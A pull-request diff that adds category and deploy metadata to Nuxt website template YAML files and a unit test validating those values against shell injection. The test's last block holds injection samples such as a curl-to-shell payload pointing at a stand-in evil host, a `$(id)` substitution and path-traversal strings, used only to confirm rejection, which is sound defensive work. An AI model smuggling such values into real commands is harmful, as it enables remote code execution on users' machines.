Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
9 changes: 9 additions & 0 deletions content/templates/agency-os.yml
Original file line number Diff line number Diff line change
Expand Up @@ -3,3 +3,12 @@ slug: 'agency-os'
description: 'The open source operating system for digital agencies.'
repo: 'directus-community/agency-os'
demo: 'https://www.agencyos.dev/'
category: 'app'
deploy:
env:
- 'DIRECTUS_URL'
- 'DIRECTUS_SERVER_TOKEN'
- 'NUXT_PUBLIC_SITE_URL'
- 'STRIPE_SECRET_KEY'
- 'STRIPE_PUBLISHABLE_KEY'
- 'STRIPE_WEBHOOK_SECRET'
1 change: 1 addition & 0 deletions content/templates/atidone.yml
Original file line number Diff line number Diff line change
Expand Up @@ -3,3 +3,4 @@ slug: 'atidone'
description: 'Full-stack app with authentication and SQL database.'
repo: 'atinux/atidone'
demo: 'https://todos.nuxt.dev/'
category: 'app'
1 change: 1 addition & 0 deletions content/templates/atidraw.yml
Original file line number Diff line number Diff line change
Expand Up @@ -3,3 +3,4 @@ slug: "atidraw"
description: "Web application that lets you to create, enhance, and share your drawings with the world."
repo: "atinux/atidraw"
demo: "https://draw.nuxt.dev/"
category: 'app'
7 changes: 7 additions & 0 deletions content/templates/canvas.yml
Original file line number Diff line number Diff line change
Expand Up @@ -4,3 +4,10 @@ description: 'Canvas a portfolio template, with a minimal and clean design, usin
badge: 'Free'
repo: 'HugoRCD/canvas'
demo: 'https://canvas.hrcd.fr/'
category: 'portfolio'
deploy:
env:
- 'NUXT_PRIVATE_RESEND_API_KEY'
- 'NUXT_PUBLIC_SITE_URL'
- 'STUDIO_GITHUB_CLIENT_ID'
- 'STUDIO_GITHUB_CLIENT_SECRET'
1 change: 1 addition & 0 deletions content/templates/charts-dashboard-planner.yml
Original file line number Diff line number Diff line change
Expand Up @@ -5,3 +5,4 @@ demo: 'https://nuxt-planner-demo.nuxtcharts.com?via=nuxt'
purchase: 'https://nuxtcharts.com/templates/nuxt-planner?via=nuxt'
badge: 'Premium'
featured: true
category: 'dashboard'
3 changes: 2 additions & 1 deletion content/templates/charts-dashboard-shadcn.yml
Original file line number Diff line number Diff line change
Expand Up @@ -3,4 +3,5 @@ slug: 'nuxt-charts-dashboard-shadcn-vue'
description: 'A beautiful dashboard template built with shadcn/vue and Nuxt Charts.'
demo: 'https://nuxt-shadcn-dashboard-demo.nuxtcharts.com/monitor?via=nuxt'
purchase: 'https://nuxtcharts.com/templates/nuxt-shadcn-dashboard?via=nuxt'
badge: 'Premium'
badge: 'Premium'
category: 'dashboard'
1 change: 1 addition & 0 deletions content/templates/charts-dashboard.yml
Original file line number Diff line number Diff line change
Expand Up @@ -4,3 +4,4 @@ description: 'A Nuxt Charts dashboard template built with Nuxt UI.'
demo: 'https://nuxt-dashboard-demo.nuxtcharts.com?via=nuxt'
purchase: 'https://nuxtcharts.com/dashboard?via=nuxt'
badge: 'Premium'
category: 'dashboard'
1 change: 1 addition & 0 deletions content/templates/content-wind.yml
Original file line number Diff line number Diff line change
Expand Up @@ -3,3 +3,4 @@ slug: 'content-wind'
description: 'A lightweight Nuxt template for a Markdown driven website.'
repo: 'atinux/content-wind'
demo: 'https://content-wind.nuxt.space'
category: 'content'
1 change: 1 addition & 0 deletions content/templates/dailyhub-directory-template.yml
Original file line number Diff line number Diff line change
Expand Up @@ -4,3 +4,4 @@ description: 'If you need listing websites, directories, and blogs then you shou
demo: 'https://dailyhub-nuxt.stylokit.com/?aff=J0Emk'
purchase: 'https://stylokit.lemonsqueezy.com/buy/5eed5001-9087-405b-a414-d654b9597e5d?aff=J0Emk'
badge: 'Premium'
category: 'content'
5 changes: 5 additions & 0 deletions content/templates/docus.yml
Original file line number Diff line number Diff line change
Expand Up @@ -4,3 +4,8 @@ description: "Write beautiful docs with Markdown and Vue Components."
repo: 'nuxt-content/docus'
demo: 'https://docus.dev'
featured: true
category: 'docs'
official: true
source: 'gh:nuxt-content/docus/.starters/default'
deploy:
repositoryUrl: 'https://github.com/nuxt-content/docus/tree/main/.starters/default'
1 change: 1 addition & 0 deletions content/templates/glideai.yml
Original file line number Diff line number Diff line change
Expand Up @@ -6,3 +6,4 @@ screenshotUrl: 'https://prismic-demo-glideai.nuxt.dev'
screenshotOptions:
delay: 5
repo: prismicio-community/nuxt-starter-prismic-glideai
category: 'landing'
1 change: 1 addition & 0 deletions content/templates/green-chronicle.yml
Original file line number Diff line number Diff line change
Expand Up @@ -4,3 +4,4 @@ description: 'A company blog theme powered by Nuxt Content and UI Pro.'
repo: 'Barbapapazes/the-green-chronicle'
demo: 'https://the-green-chronicle.esteban-soubiran.site/'
badge: 'Freemium'
category: 'content'
1 change: 1 addition & 0 deletions content/templates/habit.yml
Original file line number Diff line number Diff line change
Expand Up @@ -3,3 +3,4 @@ slug: 'habit'
description: 'Full-stack habit app with authentication and SQL database.'
repo: 'zackha/habit'
demo: 'https://habit.nuxt.dev/'
category: 'app'
2 changes: 2 additions & 0 deletions content/templates/hackernews.yml
Original file line number Diff line number Diff line change
Expand Up @@ -4,3 +4,5 @@ description: 'HackerNews clone built with Nuxt.'
repo: 'nuxt/hackernews'
demo: 'https://hn.nuxt.space/news/1'
featured: true
category: 'app'
official: true
1 change: 1 addition & 0 deletions content/templates/happy-paws.yml
Original file line number Diff line number Diff line change
Expand Up @@ -3,3 +3,4 @@ slug: 'happy-paws'
description: 'Full-stack pet adoption app with Nuxt SEO and Tailwind CSS.'
repo: 'pinegrow/happy-paws-with-nuxt-tailwindcss'
demo: 'https://happy-paws-with-nuxt-tailwindcss.netlify.app/'
category: 'app'
1 change: 1 addition & 0 deletions content/templates/hato.yml
Original file line number Diff line number Diff line change
Expand Up @@ -4,3 +4,4 @@ description: 'Discover Hato, the sleek portfolio website perfect for freelancers
badge: 'Free'
repo: 'cesswhite/hato-minimal-template'
demo: 'https://hato-template.vercel.app/'
category: 'portfolio'
1 change: 1 addition & 0 deletions content/templates/image-gallery.yml
Original file line number Diff line number Diff line change
Expand Up @@ -3,3 +3,4 @@ slug: 'image-gallery'
description: 'A template that gets you started with NuxtHub Blob in seconds'
repo: 'Flosciante/nuxt-image-gallery'
demo: 'https://image-gallery.nuxt.dev/'
category: 'app'
1 change: 1 addition & 0 deletions content/templates/materio.yml
Original file line number Diff line number Diff line change
Expand Up @@ -4,3 +4,4 @@ description: 'A powerful admin dashboard template built for developers'
demo: 'https://demos.themeselection.com/materio-vuetify-nuxtjs-admin-template/demo-1/'
purchase: 'https://themeselection.com/item/materio-vuetify-nuxtjs-admin-template'
badge: 'Premium'
category: 'dashboard'
2 changes: 2 additions & 0 deletions content/templates/movies.yml
Original file line number Diff line number Diff line change
Expand Up @@ -4,3 +4,5 @@ description: 'A TMDB client built with Nuxt and View Transitions.'
repo: 'nuxt/movies'
featured: true
demo: 'https://movies.nuxt.space'
category: 'app'
official: true
1 change: 1 addition & 0 deletions content/templates/nucommerce-store.yml
Original file line number Diff line number Diff line change
Expand Up @@ -3,3 +3,4 @@ slug: 'nucommerce-store'
description: 'A e-commerce store with Nuxt UI components and dynamic pages.'
repo: 'pinegrow/pg-nuxtui'
demo: 'https://pg-nuxtui.netlify.app/'
category: 'ecommerce'
1 change: 1 addition & 0 deletions content/templates/nuxt-books.yml
Original file line number Diff line number Diff line change
Expand Up @@ -3,3 +3,4 @@ slug: 'nuxt-books'
description: 'Browse 100,000 books with prefetching and runtime caching.'
repo: 'atinux/nuxt-books'
demo: 'https://nuxtbooks.vercel.app'
category: 'app'
1 change: 1 addition & 0 deletions content/templates/nuxt-deno-kv.yml
Original file line number Diff line number Diff line change
Expand Up @@ -4,3 +4,4 @@ description: 'A collaborative todo-list app built with Deno KV and Nuxt.'
repo: 'atinux/nuxt-deno-kv'
demo: 'https://nuxt-todos-kv.deno.dev'
badge: 'Freemium'
category: 'app'
1 change: 1 addition & 0 deletions content/templates/nuxt-shadcn-dashboard.yml
Original file line number Diff line number Diff line change
Expand Up @@ -4,3 +4,4 @@ description: 'Shadcn Dashboard built with Nuxt'
screenshotUrl: 'https://nuxt-shadcn-dashboard.vercel.app/'
repo: 'dianprata/nuxt-shadcn-dashboard'
demo: 'https://nuxt-shadcn-dashboard.vercel.app/'
category: 'dashboard'
11 changes: 11 additions & 0 deletions content/templates/nuxt-shopify.yml
Original file line number Diff line number Diff line change
Expand Up @@ -2,4 +2,15 @@ name: 'Nuxt Shopify Template'
slug: 'nuxt-shopify'
description: 'Shopify template using Nuxt 4 and Nuxt UI.'
repo: 'nuxt-modules/shopify'
source: 'gh:nuxt-modules/shopify/template'
demo: 'https://nuxt-shopify.vercel.app/'
category: 'ecommerce'
official: true
deploy:
repositoryUrl: 'https://github.com/nuxt-modules/shopify/tree/main/template'
env:
- NUXT_SHOPIFY_NAME
- NUXT_SHOPIFY_CLIENTS_STOREFRONT_API_VERSION
- NUXT_SHOPIFY_CLIENTS_STOREFRONT_PUBLIC_ACCESS_TOKEN
Comment thread
HugoRCD marked this conversation as resolved.
Resolved
- NUXT_SHOPIFY_CLIENTS_CUSTOMER_ACCOUNT_CLIENT_ID
- NUXT_SHOPIFY_CLIENTS_CUSTOMER_ACCOUNT_SESSION_PASSWORD
1 change: 1 addition & 0 deletions content/templates/nuxt-starter-kit.yml
Original file line number Diff line number Diff line change
Expand Up @@ -6,3 +6,4 @@ purchase: 'https://nuxtstarterkit.com'
screenshotUrl: 'https://nuxtstarterkit.com'
badge: 'Premium'
featured: true
category: 'saas'
2 changes: 2 additions & 0 deletions content/templates/nuxt-ui-changelog.yml
Original file line number Diff line number Diff line change
Expand Up @@ -3,3 +3,5 @@ slug: 'nuxt-ui-changelog'
description: "A changelog template powered by GitHub Releases made with Nuxt UI."
repo: 'nuxt-ui-templates/changelog'
demo: 'https://changelog-template.nuxt.dev'
category: 'content'
official: true
13 changes: 13 additions & 0 deletions content/templates/nuxt-ui-chat.yml
Original file line number Diff line number Diff line change
Expand Up @@ -4,3 +4,16 @@ description: "Full-featured AI Chatbot with authentication & chat history."
repo: 'nuxt-ui-templates/chat'
demo: 'https://chat-template.nuxt.dev'
featured: true
category: 'ai'
official: true
deploy:
env:
- 'NUXT_OAUTH_GITHUB_CLIENT_ID'
- 'NUXT_OAUTH_GITHUB_CLIENT_SECRET'
- 'NUXT_SESSION_PASSWORD'
stores:
- type: 'integration'
integrationSlug: 'tursocloud'
productSlug: 'database'
protocol: 'storage'
- type: 'blob'
2 changes: 2 additions & 0 deletions content/templates/nuxt-ui-dashboard.yml
Original file line number Diff line number Diff line change
Expand Up @@ -4,3 +4,5 @@ description: "A dashboard template made with Nuxt UI."
repo: 'nuxt-ui-templates/dashboard'
demo: 'https://dashboard-template.nuxt.dev'
featured: true
category: 'dashboard'
official: true
2 changes: 2 additions & 0 deletions content/templates/nuxt-ui-docs.yml
Original file line number Diff line number Diff line change
Expand Up @@ -4,3 +4,5 @@ description: "A documentation template made with Nuxt UI."
repo: 'nuxt-ui-templates/docs'
demo: 'https://docs-template.nuxt.dev'
screenshotUrl: 'https://docs-template.nuxt.dev/getting-started'
category: 'docs'
official: true
2 changes: 2 additions & 0 deletions content/templates/nuxt-ui-editor.yml
Original file line number Diff line number Diff line change
Expand Up @@ -4,3 +4,5 @@ description: "Notion-like TipTap editor with AI completion and real-time collabo
repo: 'nuxt-ui-templates/editor'
demo: 'https://editor-template.nuxt.dev'
featured: true
category: 'ai'
official: true
2 changes: 2 additions & 0 deletions content/templates/nuxt-ui-landing.yml
Original file line number Diff line number Diff line change
Expand Up @@ -3,3 +3,5 @@ slug: 'nuxt-ui-landing'
description: "A landing page template made with Nuxt UI."
repo: 'nuxt-ui-templates/landing'
demo: 'https://landing-template.nuxt.dev'
category: 'landing'
official: true
2 changes: 2 additions & 0 deletions content/templates/nuxt-ui-portfolio.yml
Original file line number Diff line number Diff line change
Expand Up @@ -3,3 +3,5 @@ slug: 'nuxt-ui-portfolio'
description: "A portfolio template with a clean and modern design."
repo: 'nuxt-ui-templates/portfolio'
demo: 'https://portfolio-template.nuxt.dev'
category: 'portfolio'
official: true
2 changes: 2 additions & 0 deletions content/templates/nuxt-ui-saas.yml
Original file line number Diff line number Diff line change
Expand Up @@ -3,3 +3,5 @@ slug: 'nuxt-ui-saas'
description: "A SaaS template made with Nuxt UI."
repo: 'nuxt-ui-templates/saas'
demo: 'https://saas-template.nuxt.dev'
category: 'saas'
official: true
1 change: 1 addition & 0 deletions content/templates/nuxter.yml
Original file line number Diff line number Diff line change
Expand Up @@ -5,3 +5,4 @@ demo: 'https://demo.nuxter.app'
purchase: 'https://nuxter.app/pricing'
screenshotUrl: 'https://nuxter.app'
badge: 'Premium'
category: 'saas'
1 change: 1 addition & 0 deletions content/templates/nuxtship.yml
Original file line number Diff line number Diff line change
Expand Up @@ -3,3 +3,4 @@ slug: 'nuxtship'
description: 'A landing page template for startups made with TailwindCSS.'
repo: 'Gr33nW33n/nuxtship-template'
demo: 'https://nuxtship.pages.dev'
category: 'landing'
1 change: 1 addition & 0 deletions content/templates/shadcn-docs.yml
Original file line number Diff line number Diff line change
Expand Up @@ -4,3 +4,4 @@ description: 'Effortless and beautiful docs template built with shadcn-vue.'
screenshotUrl: 'https://shadcn-docs-nuxt.vercel.app/getting-started/introduction'
repo: 'ZTL-UwU/shadcn-docs-nuxt'
demo: 'https://shadcn-docs-nuxt.vercel.app/'
category: 'docs'
1 change: 1 addition & 0 deletions content/templates/shadcn-landing-pro.yml
Original file line number Diff line number Diff line change
Expand Up @@ -4,3 +4,4 @@ description: 'A ready-to-launch landing page template with Shadcn UI components.
demo: 'https://nuxt-shadcn-landing-pro.vercel.app/'
purchase: 'https://waterwaystudios.lemonsqueezy.com/buy/c9e51f83-cdec-48ed-bf57-fded4e2d7d5f?aff=J0Emk'
badge: 'Premium'
category: 'landing'
1 change: 1 addition & 0 deletions content/templates/sokol.yml
Original file line number Diff line number Diff line change
Expand Up @@ -5,3 +5,4 @@ screenshotUrl: 'https://sokol.vercel.app/examples/landing-one'
demo: 'https://sokol.vercel.app/'
purchase: 'https://ecostudios.lemonsqueezy.com/buy/a36140d8-69e8-47a1-a921-4e7f7be89a5d?aff=J0Emk'
badge: 'Premium'
category: 'ecommerce'
1 change: 1 addition & 0 deletions content/templates/spike.yml
Original file line number Diff line number Diff line change
Expand Up @@ -4,3 +4,4 @@ description: 'Unleash actionable insights effortlessly with a feature-rich dashb
demo: 'https://spike-nuxtjs-pro-main.netlify.app/dashboards/dashboard1'
purchase: 'https://www.wrappixel.com/templates/spike-nuxtjs-admin-template/'
badge: 'Premium'
category: 'dashboard'
1 change: 1 addition & 0 deletions content/templates/supastarter.yml
Original file line number Diff line number Diff line change
Expand Up @@ -4,3 +4,4 @@ description: 'A production-ready SaaS starter kit with auth, i18n, billing & pay
demo: 'https://nuxt-demo.supastarter.dev'
purchase: 'https://supastarter.dev/products/starter-kits/nuxt?aff=J0Emk'
badge: 'Premium'
category: 'saas'
1 change: 1 addition & 0 deletions content/templates/supersaas.yml
Original file line number Diff line number Diff line change
Expand Up @@ -4,3 +4,4 @@ description: 'Nuxt 3 Fullstack Starter Kit with Auth, DB, Payment, Files & Email
demo: 'https://supersaas.dev/?aff=J0Emk'
purchase: 'https://supersaas.dev/?aff=J0Emk'
badge: 'Premium'
category: 'saas'
1 change: 1 addition & 0 deletions content/templates/vucommerce-store.yml
Original file line number Diff line number Diff line change
Expand Up @@ -3,3 +3,4 @@ slug: 'vucommerce-store'
description: 'A responsive e-commerce store with Vuetify components.'
repo: 'pinegrow/pg-nuxt-vuetify-tailwindcss'
demo: 'https://pg-nuxt-vuetify-tailwindcss.netlify.app/'
category: 'ecommerce'
1 change: 1 addition & 0 deletions content/templates/woonuxt.yml
Original file line number Diff line number Diff line change
Expand Up @@ -3,3 +3,4 @@ slug: 'woonuxt'
description: 'Headless eCommerce powered by WooCommerce and Nuxt.'
repo: 'scottyzen/woonuxt'
demo: 'https://v3.woonuxt.com'
category: 'ecommerce'
1 change: 1 addition & 0 deletions content/templates/zooper.yml
Original file line number Diff line number Diff line change
Expand Up @@ -3,3 +3,4 @@ slug: 'zooper'
description: 'A minimal and personal portfolio template, made with Nuxt Content and TailwindCSS.'
repo: 'fayazara/zooper'
demo: 'https://zooper.pages.dev'
category: 'portfolio'
59 changes: 59 additions & 0 deletions test/unit/templates-content.spec.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,59 @@
import { readdirSync, readFileSync } from 'node:fs'
import { join } from 'node:path'
import { parseYAML } from 'confbox'
import { describe, expect, it } from 'vitest'

const dir = join(import.meta.dirname, '../../content/templates')
const templates = readdirSync(dir, { recursive: true, encoding: 'utf8' })
.filter(file => file.endsWith('.yml'))
.map(file => ({ file, data: parseYAML<Record<string, any>>(readFileSync(join(dir, file), 'utf8')) }))

const SEGMENT = /^(?!\.{1,2}$)[\w.-]+$/

function segments(value: string, count?: number) {
const parts = value.split('/')
return (count === undefined || parts.length === count) && parts.every(part => SEGMENT.test(part))
}

function isHttps(value: string) {
try {
return new URL(value).protocol === 'https:'
} catch {
return false
}
}

// These values go into the `create nuxt` command visitors paste into a terminal, into deploy links and into the daily check's sandbox commands.
describe('template content', () => {
it.each(templates)('$file only uses safe values', ({ data }) => {
expect(data.slug).toMatch(/^[a-z0-9]+(?:-[a-z0-9]+)*$/)
if (data.category !== undefined) expect(['saas', 'dashboard', 'ai', 'docs', 'content', 'landing', 'portfolio', 'ecommerce', 'app']).toContain(data.category)
if (data.official !== undefined) expect(typeof data.official).toBe('boolean')
if (data.template !== undefined) expect(data.template).toMatch(/^[a-z0-9]+(?:-[a-z0-9]+)*$/)
if (data.repo !== undefined) expect(segments(data.repo, 2)).toBe(true)
if (data.branch !== undefined) expect(segments(data.branch)).toBe(true)
if (data.source !== undefined) expect(data.source.startsWith('gh:') && data.source.split('/').length >= 3 && segments(data.source.slice(3))).toBe(true)
for (const key of ['demo', 'purchase']) {
if (data[key] !== undefined) expect(isHttps(data[key]), key).toBe(true)
}
if (data.deploy !== undefined) {
expect(data.deploy !== null && typeof data.deploy === 'object' && !Array.isArray(data.deploy), 'deploy').toBe(true)
}
if (data.deploy?.repositoryUrl !== undefined) {
const [, repo, tree] = data.deploy.repositoryUrl.match(/^https:\/\/github\.com\/([^/]+\/[^/]+)(?:\/tree\/(.+))?$/) ?? []
expect(repo !== undefined && segments(repo, 2) && (tree === undefined || segments(tree)), 'deploy.repositoryUrl').toBe(true)
}
if (data.deploy?.env !== undefined) {
expect(Array.isArray(data.deploy.env), 'deploy.env').toBe(true)
for (const name of data.deploy.env) expect(name).toMatch(/^[A-Z][A-Z0-9_]*$/)
}
})

it('rejects shell syntax and parent directories', () => {
expect(segments('owner/repo; curl evil.sh | sh', 2)).toBe(false)
expect(segments('owner/$(id)', 2)).toBe(false)
expect(segments('owner/..', 2)).toBe(false)
expect(segments('nuxt/starter', 2)).toBe(true)
expect(segments('main/../other')).toBe(false)
})
})
Loading